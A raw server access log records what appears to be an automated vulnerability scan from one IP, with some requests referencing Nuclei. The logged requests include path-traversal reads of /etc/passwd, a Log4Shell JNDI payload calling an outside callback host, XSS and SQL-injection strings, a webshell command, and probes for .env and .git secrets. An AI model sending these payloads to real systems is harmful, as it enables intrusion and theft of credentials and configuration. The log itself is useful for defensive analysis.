[09/Jan/2026:10:54:42 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET / HTTP/1.1" 3426
[09/Jan/2026:10:54:42 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /.idea/workspace.xml HTTP/1.1" 196
[09/Jan/2026:10:54:42 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /default/en_US/status.html HTTP/1.1" 196
[09/Jan/2026:10:54:42 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /web-console/ServerInfo.jsp HTTP/1.1" 196
[09/Jan/2026:10:54:42 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /jw/web/; HTTP/1.1" 196
[09/Jan/2026:10:54:42 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /login/index.php HTTP/1.1" 196
[09/Jan/2026:10:54:42 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET / HTTP/1.1" 3426
[09/Jan/2026:10:54:42 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /jolokia/version HTTP/1.1" 196
[09/Jan/2026:10:54:42 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /assets../.git/config HTTP/1.1" 196
[09/Jan/2026:10:54:42 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /secure/Dashboard.jspa HTTP/1.1" 196
[09/Jan/2026:10:54:42 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /cgi-bin/menu?LD_DEBUG=help HTTP/1.1" 199
[09/Jan/2026:10:54:42 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /api/cluster HTTP/1.1" 196
[09/Jan/2026:10:54:42 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /oauth/token HTTP/1.1" 196
[09/Jan/2026:10:54:42 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /C6/Jhsoft.Web.module/testbill/dj/download.asp?filename=/c6/web.config HTTP/1.1" 196
[09/Jan/2026:10:54:42 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET //bitrix/redirect.php?goto=https://example.com%252F:123@interactsh.com/ HTTP/1.1" 196
[09/Jan/2026:10:54:42 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /.env.prod HTTP/1.1" 196
[09/Jan/2026:10:54:42 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /c6/Jhsoft.Web.login/AjaxForLogin.aspx HTTP/1.1" 196
[09/Jan/2026:10:54:43 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET //defaced.html HTTP/1.1" 196
[09/Jan/2026:10:54:43 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /jreport/sendfile/help/../../../../../../../../../../../../../../etc/passwd HTTP/1.1" 226
[09/Jan/2026:10:54:43 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /rest/menu/latest/admin HTTP/1.1" 196
[09/Jan/2026:10:54:43 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /env.js HTTP/1.1" 196
[09/Jan/2026:10:54:43 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /index.php?v=d HTTP/1.1" 196
[09/Jan/2026:10:54:43 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /debug.seam HTTP/1.1" 196
[09/Jan/2026:10:54:43 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /%c0%ae/%c0%ae/%c0%ae/%c0%ae/WEB-INF/web.xml HTTP/1.1" 199
[09/Jan/2026:10:54:43 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /admin/ HTTP/1.1" 196
[09/Jan/2026:10:54:43 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /jolokia/search/*:test=test HTTP/1.1" 196
[09/Jan/2026:10:54:43 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /.json/FNZ.css HTTP/1.1" 196
[09/Jan/2026:10:54:43 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /log/vpn.log HTTP/1.1" 196
[09/Jan/2026:10:54:43 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /jbpm-console/app/tasks.jsf HTTP/1.1" 196
[09/Jan/2026:10:54:43 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /rest/api/2/projectCategory?maxResults=1000 HTTP/1.1" 196
[09/Jan/2026:10:54:43 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET / HTTP/1.1" 3426
[09/Jan/2026:10:54:43 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /servicedesk/customer/user/signup HTTP/1.1" 196
[09/Jan/2026:10:54:43 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /rest/api/2/project?maxResults=100 HTTP/1.1" 196
[09/Jan/2026:10:54:43 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /rest/config/1.0/directory HTTP/1.1" 196
[09/Jan/2026:10:54:43 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /artemis;/env; HTTP/1.1" 196
[09/Jan/2026:10:54:43 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /writable/database.db HTTP/1.1" 196
[09/Jan/2026:10:54:43 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET / HTTP/1.1" 3426
[09/Jan/2026:10:54:43 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /ilias/login.php HTTP/1.1" 196
[09/Jan/2026:10:54:43 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /interlib/report/ShowImage?localPath=C:\\Windows\\system.ini HTTP/1.1" 196
[09/Jan/2026:10:54:43 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /asynchPeople/ HTTP/1.1" 196
[09/Jan/2026:10:54:43 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /rest/api/2/resolution HTTP/1.1" 196
[09/Jan/2026:10:54:43 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /adjuncts/3a890183/ HTTP/1.1" 196
[09/Jan/2026:10:54:43 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /script/ HTTP/1.1" 196
[09/Jan/2026:10:54:43 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET / HTTP/1.1" 3426
[09/Jan/2026:10:54:43 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /rest/api/latest/serverInfo HTTP/1.1" 196
[09/Jan/2026:10:54:43 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /dana-na/auth/url_default/welcome.cgi HTTP/1.1" 196
[09/Jan/2026:10:54:43 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /.idea/dataSources.xml HTTP/1.1" 196
[09/Jan/2026:10:54:43 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /.idea/httpRequests/http-client.cookies HTTP/1.1" 196
[09/Jan/2026:10:54:43 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET / HTTP/1.1" 3426
[09/Jan/2026:10:54:43 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /jbpm-console/app/tasks.jsf HTTP/1.1" 196
[09/Jan/2026:10:54:43 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /_.htaccess HTTP/1.1" 196
[09/Jan/2026:10:54:43 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /rest/api/2/screens HTTP/1.1" 196
[09/Jan/2026:10:54:43 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /loader-wizard.php HTTP/1.1" 196
[09/Jan/2026:10:54:43 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /ui/api/v1/global-search/builds?jfLoader=true HTTP/1.1" 196
[09/Jan/2026:10:54:43 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /380DIYBPpqYYkk77JT9f32BkKKQ.json HTTP/1.1" 196
[09/Jan/2026:10:54:43 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET / HTTP/1.0" 226
[09/Jan/2026:10:54:43 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /mediation/domains HTTP/1.1" 196
[09/Jan/2026:10:54:43 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /%2e%2e%2e%2e%2e%2e%2e%2e%2e%2e%2e%2e%2e%2e%2e%2ewindows/win.ini HTTP/1.1" 196
[09/Jan/2026:10:54:43 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /http-bind?room=${jndi:ldap://${:-982}${:-279}.${hostName}.username.d5g6to2hausk1oj0j65gao9mi5bnzy8xf.oast.live/rSpwg} HTTP/1.1" 196
[09/Jan/2026:10:54:43 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /systemController/showOrDownByurl.do?down&dbPath=../../../../../../etc/passwd HTTP/1.1" 196
[09/Jan/2026:10:54:43 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /jmx-console/ HTTP/1.1" 196
[09/Jan/2026:10:54:43 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /api/xml HTTP/1.1" 196
[09/Jan/2026:10:54:43 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /rest/api/2/dashboard?maxResults=100 HTTP/1.1" 196
[09/Jan/2026:10:54:43 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /jeecg-boot/ HTTP/1.1" 196
[09/Jan/2026:10:54:43 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /application/logs/application.log HTTP/1.1" 196
[09/Jan/2026:10:54:43 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /jolokia/list HTTP/1.1" 196
[09/Jan/2026:10:54:43 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET / HTTP/1.1" 3426
[09/Jan/2026:10:54:43 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /simple/pages/UI.php HTTP/1.1" 196
[09/Jan/2026:10:54:43 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /api/v1/database/5 HTTP/1.1" 196
[09/Jan/2026:10:54:43 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /actuator/jolokia/read/JMImplementation:type=MBeanServerDelegate/ImplementationName HTTP/1.1" 196
[09/Jan/2026:10:54:43 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /.idea/WebServers.xml HTTP/1.1" 196
[09/Jan/2026:10:54:43 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET / HTTP/1.1" 3426
[09/Jan/2026:10:54:43 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /jexws/jexws.jsp?ppp=cat+%2Fetc%2Fpasswd HTTP/1.1" 196
[09/Jan/2026:10:54:43 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /jolokia/ HTTP/1.1" 196
[09/Jan/2026:10:54:43 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET //data/sql_config.php.save HTTP/1.1" 196
[09/Jan/2026:10:54:43 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /uploads.sql.bz2 HTTP/1.1" 196
[09/Jan/2026:10:54:43 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /wps/portal/!ut/p/z1/04_Sj9CPykssy0xPLMnMz0vMAfIjo8ziDVCAo4FTkJGTsYGBu7uRfjhYgaN7WGiggbO5mb95iLGBp6evQXCQq5OhhZupfhSGfmSToPrxWEBQfxRYSYCHh5mHoYWBj7-RL1DC1y3M2NXCx9jA3RiqAI8ZBbmhEQaZjooABQv7ag!!/dz/d5/L2dBISEvZ0FBIS9nQSEh/dz/d5/L0lJSkdKSUtVSklKQ2dwUkNncFJBL29Od3dBQUFZUUFBRUl3UWxDVTVBQUdNSUtTcEtGTFJ0R0ZvIS80TmxFTklVTVFuRmR1WXBNaFFUVWs1Q2ltcHBBL1o2XzAwMDAwMDAwMDAwMDAwQTBCUjJCMzAwR1YwL1o3XzAwMDAwMDAwMDAwMDAwQTBCUjJCMzAwSU8wL25vcm1hbC9PQ04vWjZfMDAwMDAwMDAwMDAwMDBBMEJSMkIzMDBHRzIvYW8vdGht/ HTTP/1.1" 196
[09/Jan/2026:10:54:43 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /jc6/servlet/clobfield HTTP/1.1" 196
[09/Jan/2026:10:54:43 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /iclock/accounts/login/?next=/iclock/data/iclock/ HTTP/1.1" 196
[09/Jan/2026:10:54:43 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /ui/login/ HTTP/1.1" 196
[09/Jan/2026:10:54:43 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /jolokia/exec/com.sun.management:type=DiagnosticCommand/compilerDirectivesAdd/!/etc!/passwd HTTP/1.1" 196
[09/Jan/2026:10:54:43 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /..%3B/monitoring HTTP/1.1" 226
[09/Jan/2026:10:54:43 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /names.nsf HTTP/1.1" 196
[09/Jan/2026:10:54:43 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /ibmmq/console/j_security_check HTTP/1.1" 196
[09/Jan/2026:10:54:43 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /static/img/custom_icons/favicon.ico HTTP/1.1" 196
[09/Jan/2026:10:54:43 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /nuclei.svg?yPQJA=x HTTP/1.1" 226
[09/Jan/2026:10:54:43 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /.github/workflows/build.yml HTTP/1.1" 196
[09/Jan/2026:10:54:43 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /web/home.html HTTP/1.1" 196
[09/Jan/2026:10:54:43 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST //api/cask/graphql-playground HTTP/1.1" 196
[09/Jan/2026:10:54:43 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /index.php?option=com_booking&controller=customer&task=getUserData&id=123 HTTP/1.1" 196
[09/Jan/2026:10:54:43 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /jasperserver-pro/login.html?error=1 HTTP/1.1" 196
[09/Jan/2026:10:54:43 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /secure/popups/UserPickerBrowser.jspa HTTP/1.1" 196
[09/Jan/2026:10:54:43 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /configuration.php-dist HTTP/1.1" 196
[09/Jan/2026:10:54:43 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET //ftp.ini HTTP/1.1" 196
[09/Jan/2026:10:54:43 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /..%5c..%5c..%5c..%5c..%5c..%5cetc/passwd HTTP/1.1" 196
[09/Jan/2026:10:54:43 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /signup HTTP/1.1" 196
[09/Jan/2026:10:54:43 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET / HTTP/1.1" 3426
[09/Jan/2026:10:54:43 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /administrator/manifests/files/joomla.xml HTTP/1.1" 196
[09/Jan/2026:10:54:43 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET / HTTP/1.1" 3426
[09/Jan/2026:10:54:43 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /front/privateLogin.jsp HTTP/1.1" 196
[09/Jan/2026:10:54:43 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /index.php?option=com_departments&id=-1%20UNION%20SELECT%201,md5(999999999),3,4,5,6,7,8-- HTTP/1.1" 196
[09/Jan/2026:10:54:43 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /default/en_US/status.html HTTP/1.1" 196
[09/Jan/2026:10:54:43 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /jira/secure/Dashboard.jspa HTTP/1.1" 196
[09/Jan/2026:10:54:43 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /cgi-bin/mlogin?LD_DEBUG=help HTTP/1.1" 199
[09/Jan/2026:10:54:43 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /.env_sample HTTP/1.1" 196
[09/Jan/2026:10:54:43 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /api/dashboards HTTP/1.1" 196
[09/Jan/2026:10:54:43 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /index.php?option=com_easyshop&task=ajax.loadImage&file=Li4vLi4vY29uZmlndXJhdGlvbi5waHA= HTTP/1.1" 196
[09/Jan/2026:10:54:43 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET //bitrix/tools/track_mail_click.php?url=http://site%252F@interactsh.com/ HTTP/1.1" 196
[09/Jan/2026:10:54:43 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /content../.git/config HTTP/1.1" 196
[09/Jan/2026:10:54:43 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /oauth/token HTTP/1.1" 196
[09/Jan/2026:10:54:43 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /.env.prod.local HTTP/1.1" 196
[09/Jan/2026:10:54:43 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /iproperty/property-views/all-properties-with-map?filter_keyword=pihil%22onmouseover=%22alert(document.domain)%22style=%22position:absolute;width:100%;height:100%;top:0;left:0;%22f63m4&option=com_iproperty&view=allproperties&ipquicksearch=1 HTTP/1.1" 196
[09/Jan/2026:10:54:43 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /i18n/en.json HTTP/1.1" 196
[09/Jan/2026:10:54:43 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /index.php?option=com_jvouchers&controller=catalog-results&task=query&wajx=1&wmjx=1&tmpl=component&type=raw&crtyid=12&trucs[x][search]=gx3vt%20onfocus=alert(document.domain)%20autofocus=%20itkrzsug7w5 HTTP/1.1" 196
[09/Jan/2026:10:54:43 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /index.php?option=com_fabrik&task=plugin.pluginAjax&plugin=image&g=element&method=onAjax_files&folder=../../../../../../../../../../../../../../../etc/ HTTP/1.1" 196
[09/Jan/2026:10:54:43 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /env.development.js HTTP/1.1" 196
[09/Jan/2026:10:54:43 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /index.php?option=com_jvehicles&controller=../../../../../../../../../../etc/passwd%00 HTTP/1.1" 196
[09/Jan/2026:10:54:43 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /libraries/joomla/database/ HTTP/1.1" 196
[09/Jan/2026:10:54:43 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET //readme.html HTTP/1.1" 196
[09/Jan/2026:10:54:43 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /?review_id=1&itwed%22onmouseover=%22confirm(document.domain)%22style=%22position:absolute%3bwidth:100%25%3bheight:100%25%3btop:0%3bleft:0%3b%22b7yzn=1 HTTP/1.1" 3426
[09/Jan/2026:10:54:43 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /sites/web_vhost_domain_list.php HTTP/1.1" 196
[09/Jan/2026:10:54:43 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /../../../WEB-INF/web.xml;x= HTTP/1.1" 226
[09/Jan/2026:10:54:43 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /actuator/jolokia/search/*:test=test HTTP/1.1" 196
[09/Jan/2026:10:54:43 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /for-jobseekers/search-jobs?keyword=l9x1q%22onfocus%3D%22alert(document.domain)%22autofocus%3D%22ak5aghi5u9p HTTP/1.1" 196
[09/Jan/2026:10:54:43 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /modules/mod_jvtwitter/jvtwitter.php?id=%22%3E%3Cimg%20src=x%20onerror=prompt(document.domain);%3E HTTP/1.1" 196
[09/Jan/2026:10:54:43 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /jbpm-console/app/j_security_check HTTP/1.1" 196
[09/Jan/2026:10:54:43 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /log/access.log HTTP/1.1" 196
[09/Jan/2026:10:54:43 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /whoAmI/ HTTP/1.1" 196
[09/Jan/2026:10:54:43 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /index.php?option=com_oscommerce&osMod=mshop_pl_src&manufacturers_id=7&sort=products_sort_order&sort=latest&page=index.php&format=xml&task=showproducts&view=med&sortdir=%27 HTTP/1.1" 196
[09/Jan/2026:10:54:43 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /artemis/1/..;/env HTTP/1.1" 196
[09/Jan/2026:10:54:43 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /.json/FNZ.html HTTP/1.1" 196
[09/Jan/2026:10:54:43 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /administrator/manifests/files/joomla.xml HTTP/1.1" 196
[09/Jan/2026:10:54:43 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /?option=com_oscommerce&osMod=mshop_pl_src&manufacturers_id=7&sort=products_sort_order&sort=latest&page=index.php&format=xml&task=showproducts&view=med&sortdir=descgt5po%3Cimg%20src=a%20onerror=alert(document.domain)%3Evh217 HTTP/1.1" 3426
[09/Jan/2026:10:54:43 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /servicedesk/customer/user/signup HTTP/1.1" 196
[09/Jan/2026:10:54:43 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /j_spring_security_check HTTP/1.1" 196
[09/Jan/2026:10:54:43 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /var/app.db HTTP/1.1" 196
[09/Jan/2026:10:54:43 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /session/login HTTP/1.1" 196
[09/Jan/2026:10:54:43 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /administrator/ HTTP/1.1" 196
[09/Jan/2026:10:54:43 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET //data/bbscache/config.php.save HTTP/1.1" 196
[09/Jan/2026:10:54:43 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /joomla/greenery_hub/index.php/en/hotels/reservations?location=d2tff&task=hub.search&ordering=score&direction=desc&type_id=0&show=db8ck%22onfocus=%22confirm(document.domain)%22autofocus=%22xwu0k HTTP/1.1" 196
[09/Jan/2026:10:54:43 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /uploads.sql.gz HTTP/1.1" 196
[09/Jan/2026:10:54:43 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET //app/config/parameters.yml.save HTTP/1.1" 196
[09/Jan/2026:10:54:43 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /uploads.sql.lz HTTP/1.1" 196
[09/Jan/2026:10:54:43 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET //app/config/parameters.php.save HTTP/1.1" 196
[09/Jan/2026:10:54:43 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /uploads.sql.rar HTTP/1.1" 196
[09/Jan/2026:10:54:43 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /actuator/jolokia/read/JMImplementation:type=MBeanServerDelegate/ImplementationVendor HTTP/1.1" 196
[09/Jan/2026:10:54:43 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /nuclei.svg?yPQJA=x HTTP/1.1" 226
[09/Jan/2026:10:54:43 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET //ftps.ini HTTP/1.1" 196
[09/Jan/2026:10:54:43 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /http/index.php HTTP/1.1" 196
[09/Jan/2026:10:54:43 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /keycloak.json HTTP/1.1" 196
[09/Jan/2026:10:54:43 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /secure/SetupMode!default.jspa HTTP/1.1" 196
